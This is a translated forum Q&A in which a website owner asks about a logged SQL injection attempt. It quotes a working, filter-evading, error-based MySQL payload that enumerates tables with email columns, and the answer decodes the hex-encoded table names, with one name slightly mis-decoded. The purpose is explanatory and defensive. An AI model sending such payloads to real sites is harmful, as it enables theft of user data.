这种SQL注入的目的是什么？

我有一个网站。如果有错误，我会向系统帐户发送一封电子邮件。我今天看到了以下内容，我认为这就是SQL。我得把它修好了。有人知道这个人这样做的目的是什么吗？

AdID=50427 or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,t./**/tAbLe_nAmE,0x217e21) /**/fRoM information_schema./**/sChEmAtA as d join information_schema./**/tAbLeS as t on t./**/tAbLe_sChEmA = d./**/sChEmA_NaMe join information_schema./**/cOlUmNs as c on c./**/tAbLe_sChEmA = d./**/sChEmA_NaMe and c./**/tAbLe_nAmE = t./**/tAbLe_nAmE /**/wHeRe not c./**/tAbLe_sChEmA in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and d./**/sChEmA_NaMe = /**/dAtAbAsE() and c./**/cOlUmN_NaMe like 0x25656d61696c25 and not t./**/tAbLe_nAmE in(0x42524944455f54424c,0x42524944455f54424c5f505542,0x434f4e54414354,0x434f4e544143545f54424c,0x47524f4f4d5f54424c,0x47524f4f4d5f54424c5f505542,0x4f524445525f54424c,0x7068703132315f75736572735f64656c65746564,0x535542534352494245525f4c495354,0x555345525f44454c45544544,0x555345525f50524f46494c455f44454c45544544) /**/gRoUp/**/bY t./**/tAbLe_nAmE /**/lImIt 11,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1

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解决方案

具体地说，它正在尝试查找哪些非系统表具有包含email的列，并排除下列表：

BRIDE_PUB   
BRIDE_TBL_PUB   
CONTACT 
CONTACT_TBL 
GROOM_TBL   
GROOM_TBL_PUB   
ORDER_TBL   
php121_users_deleted    
SUBSCRIBER_LIST 
USER_DELETED    
USER_PROFILE_DELETED

我想攻击者已经知道了。

所以他们基本上是在试图窃取您的电子邮件地址，作为邮件列表出售(这是典型的SQL注入攻击)。

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仅供参考，以下是我用来查看字符串的查询：

select
    CAST(0x217e21 as varchar(99)),
    CAST(0x696e666f726d6174696f6e5f736368656d61 as varchar(99)), 
    CAST(0x6d7973716c as varchar(99)), 
    CAST(0x25656d61696c25 as varchar(99)), 
    CAST(0x42524944455f54424c as varchar(99)), 
    CAST(0x42524944455f54424c5f505542 as varchar(99)), 
    CAST(0x434f4e54414354 as varchar(99)), 
    CAST(0x434f4e544143545f54424c as varchar(99)), 
    CAST(0x47524f4f4d5f54424c as varchar(99)), 
    CAST(0x47524f4f4d5f54424c5f505542 as varchar(99)), 
    CAST(0x4f524445525f54424c as varchar(99)), 
    CAST(0x7068703132315f75736572735f64656c65746564 as varchar(99)), 
    CAST(0x535542534352494245525f4c495354 as varchar(99)), 
    CAST(0x555345525f44454c45544544 as varchar(99)), 
    CAST(0x555345525f50524f46494c455f44454c45544544 as varchar(99))

(我在MS SQL Server上这样做，不确定在MySQL上的语法是否完全相同)